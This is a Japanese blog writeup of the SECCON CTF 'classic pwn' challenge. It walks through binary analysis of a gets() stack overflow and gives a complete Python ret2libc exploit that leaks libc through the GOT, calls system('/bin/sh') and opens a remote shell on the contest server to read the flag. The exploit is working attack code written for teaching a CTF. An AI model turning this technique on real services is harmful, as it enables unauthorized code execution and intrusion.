気まぐれブログ(日記・技術記事・研究のことなど)

気まぐれに更新します.温かい目で見ていただければ...

[SECCON CTF writeup] classic pwn

先日行われたSECCON CTFで出題された「classic pwn」のwriteupを書こうと思います.

ファイルの調査

まずは定石通り, ファイルのタイプやRELRO情報などを調べます.

$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22 
classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped

$ checksec.sh --dir .
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
Partial RELRO   Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   ./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253

$ ldd libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253 
	/lib64/ld-linux-x86-64.so.2 (0x00007f60edc93000)
	linux-vdso.so.1 (0x00007fffcd2d3000)

$ ldd libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253 
	/lib64/ld-linux-x86-64.so.2 (0x00007f74c4605000)
	linux-vdso.so.1 (0x00007fff0f54f000)

ファイルタイプは64bitの実行ファイルらしいです. lddの結果が毎回違うので, ASLRが有効になっていることがわかります. また, STACK CANARYがないことがわかります.
さらに逆アセンブリをしてみましょう.

$ objdump -d -M intel classic_aa9e979fd5c597526ef30c003bffee474b314e22
00000000004006a9 <main>:
  4006a9:	55                   	push   rbp
  4006aa:	48 89 e5             	mov    rbp,rsp
  4006ad:	48 83 ec 40          	sub    rsp,0x40
  4006b1:	bf 74 07 40 00       	mov    edi,0x400774
  4006b6:	e8 65 fe ff ff       	call   400520 <puts@plt>
  4006bb:	bf 8e 07 40 00       	mov    edi,0x40078e
  4006c0:	b8 00 00 00 00       	mov    eax,0x0
  4006c5:	e8 76 fe ff ff       	call   400540 <printf@plt>
  4006ca:	48 8d 45 c0          	lea    rax,[rbp-0x40]
  4006ce:	48 89 c7             	mov    rdi,rax
  4006d1:	e8 8a fe ff ff       	call   400560 <gets@plt>
  4006d6:	bf 9f 07 40 00       	mov    edi,0x40079f
  4006db:	e8 40 fe ff ff       	call   400520 <puts@plt>
  4006e0:	b8 00 00 00 00       	mov    eax,0x0
  4006e5:	c9                   	leave  
  4006e6:	c3                   	ret    
  4006e7:	66 0f 1f 84 00 00 00 	nop    WORD PTR [rax+rax*1+0x0]
  4006ee:	00 00 

$ objdump -d -M intel -j .plt classic_aa9e979fd5c597526ef30c003bffee474b314e22 

classic_aa9e979fd5c597526ef30c003bffee474b314e22:     ファイル形式 elf64-x86-64


セクション .plt の逆アセンブル:

0000000000400510 <.plt>:
  400510:	ff 35 f2 0a 20 00    	push   QWORD PTR [rip+0x200af2]        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  400516:	ff 25 f4 0a 20 00    	jmp    QWORD PTR [rip+0x200af4]        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  40051c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]

0000000000400520 <puts@plt>:
  400520:	ff 25 f2 0a 20 00    	jmp    QWORD PTR [rip+0x200af2]        # 601018 <puts@GLIBC_2.2.5>
  400526:	68 00 00 00 00       	push   0x0
  40052b:	e9 e0 ff ff ff       	jmp    400510 <.plt>

0000000000400530 <setbuf@plt>:
  400530:	ff 25 ea 0a 20 00    	jmp    QWORD PTR [rip+0x200aea]        # 601020 <setbuf@GLIBC_2.2.5>
  400536:	68 01 00 00 00       	push   0x1
  40053b:	e9 d0 ff ff ff       	jmp    400510 <.plt>

0000000000400540 <printf@plt>:
  400540:	ff 25 e2 0a 20 00    	jmp    QWORD PTR [rip+0x200ae2]        # 601028 <printf@GLIBC_2.2.5>
  400546:	68 02 00 00 00       	push   0x2
  40054b:	e9 c0 ff ff ff       	jmp    400510 <.plt>

0000000000400550 <__libc_start_main@plt>:
  400550:	ff 25 da 0a 20 00    	jmp    QWORD PTR [rip+0x200ada]        # 601030 <__libc_start_main@GLIBC_2.2.5>
  400556:	68 03 00 00 00       	push   0x3
  40055b:	e9 b0 ff ff ff       	jmp    400510 <.plt>

0000000000400560 <gets@plt>:
  400560:	ff 25 d2 0a 20 00    	jmp    QWORD PTR [rip+0x200ad2]        # 601038 <gets@GLIBC_2.2.5>
  400566:	68 04 00 00 00       	push   0x4
  40056b:	e9 a0 ff ff ff       	jmp    400510 <.plt>

getsを使っているのでバッファオーバフローを扱う問題であると予想します. 実際にバッファオーバフローさせてみましょう.

$ ./classic_aa9e979fd5c597526ef30c003bffee474b314e22 
Classic Pwnable Challenge
Local Buffer >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Have a nice pwn!!
Segmentation fault (コアダンプ)

こんな感じでセグメントエラーが発生します.

解法

以上の表層解析から, バッファオーバフローでIPを奪い, gotのアドレスをリークし, ret2libcでシェルを起動してやれば良さそうです. やってみましょう.

解答

今回は64-bit ELFファイルを扱う問題です. 32-bit ELFファイルと何が違うかというと, 引数の渡し方が違います. 64-bitでは, 一度引数をスタックに積んで, rdiにpopする必要があるので, pop rdiを実行するgadgetのアドレスを探します.

$ rp -f classic_aa9e979fd5c597526ef30c003bffee474b314e22 -r 1 | grep pop
0x00400752: pop r15 ; ret  ;  (1 found)
0x004005e0: pop rbp ; ret  ;  (1 found)
0x00400628: pop rbp ; ret  ;  (1 found)
0x004006a7: pop rbp ; ret  ;  (1 found)
0x00400753: pop rdi ; ret  ;  (1 found)

offsetも必要なので, 取得しておきます.

$ nm -D libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253 | grep puts
000000000006e030 T _IO_fputs
000000000006f690 T _IO_puts
000000000006e030 W fputs
00000000000782b0 W fputs_unlocked
000000000006f690 W puts
000000000010d590 T putsgent
000000000010bbe0 T putspent

$ nm -D libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253 | grep system
0000000000045390 T __libc_system
0000000000138810 T svcerr_systemerr
0000000000045390 W system

$ strings -tx libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253 | grep "\/bin\/sh"
 18cd57 /bin/sh

あとは, バッファからスタックまでの長さを調べておきます.

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ ni
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

...

// leave後

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af4154 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dd18c0 --> 0x0 
RSI: 0x7ffff7dd07e3 --> 0xdd18c0000000000a 
RDI: 0x1 
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffdf58 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x4006e6 (<main+61>:	ret)
R8 : 0x11 
R9 : 0x7ffff7fdc4c0 (0x00007ffff7fdc4c0)
R10: 0x602010 --> 0x0 
R11: 0x246 
R12: 0x400580 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe030 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4006db <main+50>:	call   0x400520 <puts@plt>
   0x4006e0 <main+55>:	mov    eax,0x0
   0x4006e5 <main+60>:	leave  
=> 0x4006e6 <main+61>:	ret    
   0x4006e7:	nop    WORD PTR [rax+rax*1+0x0]
   0x4006f0 <__libc_csu_init>:	push   r15
   0x4006f2 <__libc_csu_init+2>:	push   r14
   0x4006f4 <__libc_csu_init+4>:	mov    r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf58 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdf60 ("AJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffdf68 ("AAKAAgAA6AAL")
0024| 0x7fffffffdf70 --> 0x4c414136 ('6AAL')
0032| 0x7fffffffdf78 --> 0x4006a9 (<main>:	push   rbp)
0040| 0x7fffffffdf80 --> 0x0 
0048| 0x7fffffffdf88 --> 0x4ed95b303cca8c 
0056| 0x7fffffffdf90 --> 0x400580 (<_start>:	xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004006e6 in main ()

gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

これで準備はOKです. あとはexploitコードを書いていきましょう.

もともとの枠組みはこちらを参照してください↓
tomonori4565.hatenablog.com

exploitコード(python2系)

from socket import *
from telnetlib import Telnet
from time import time, sleep
from sys import argv
from struct import pack, unpack

def read_until(s, c):
    ret = ""
    while 1:
        ret += s.recv(1)
        if ret.endswith(c):
            return ret

# 0x12345678 => \x78\x56\x34\x12 
def p(x):
    return pack("<Q", x)

# \x78\x56\x34\x12 => 0x12345678 => 305419896
def u(x):
    return unpack("<Q", x)[0]

def interact(s):
    print("[*] interactive mode")
    t = Telnet()
    t.sock = s
    t.interact()

if len(argv) >= 2 and argv[1] == "r":
    print("[*] connect to remote")
    HOST = "classic.pwn.seccon.jp" 
    PORT = 17354

    PUTS_OFF = 0x6f690
    SYSTEM_OFF = 0x45390 
    BINSH_OFF = 0x18cd57
else:
    print("[*] connect to local")
    HOST = "localhost"
    PORT = 9999
    PUTS_OFF = 12345
    SYSTEM_OFF = 12345
    BINSH_OFF = 12345


def main():
    payload = "A" * 72
    payload += p(0x400753)
    payload += p(0x601018)
    payload += p(0x400520)
    payload += p(0x4006A9)

    s = socket(AF_INET, SOCK_STREAM)
    s.connect((HOST, PORT))
    
    _ = read_until(s, "Local Buffer >>")
    s.sendall(payload + "\n")
    _ = read_until(s, "Have a nice pwn!!\n")
    puts_addr = hex(u(read_until(s, "\n") + "A"))

    tmp = puts_addr[0:2]
    addr = puts_addr[-12:]
    puts_addr = int(tmp+addr, 16)
    libc_addr = puts_addr - PUTS_OFF
    system_addr = libc_addr + SYSTEM_OFF
    binsh_addr = libc_addr + BINSH_OFF

    payload = "A" * 72
    payload += p(0x400753)
    payload += p(binsh_addr)
    payload += p(system_addr)
    payload += "BBBBBBBB"

    _ = read_until(s, "Local Buffer >>")
    s.sendall(payload + "\n")
    _ = read_until(s, "Have a nice pwn!!\n")
    #puts_addr = u(read_until(s, "\n") + "A")

    interact(s) 

if __name__ == "__main__":
    main()

実行結果

$ python my_exploit2.py r
[*] connect to remote
[*] interactive mode
ls
classic
flag.txt
cat flag.txt	
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
exit
*** Connection closed by remote host ***

exploitコード(python3系)

編集中.

実行結果

編集中.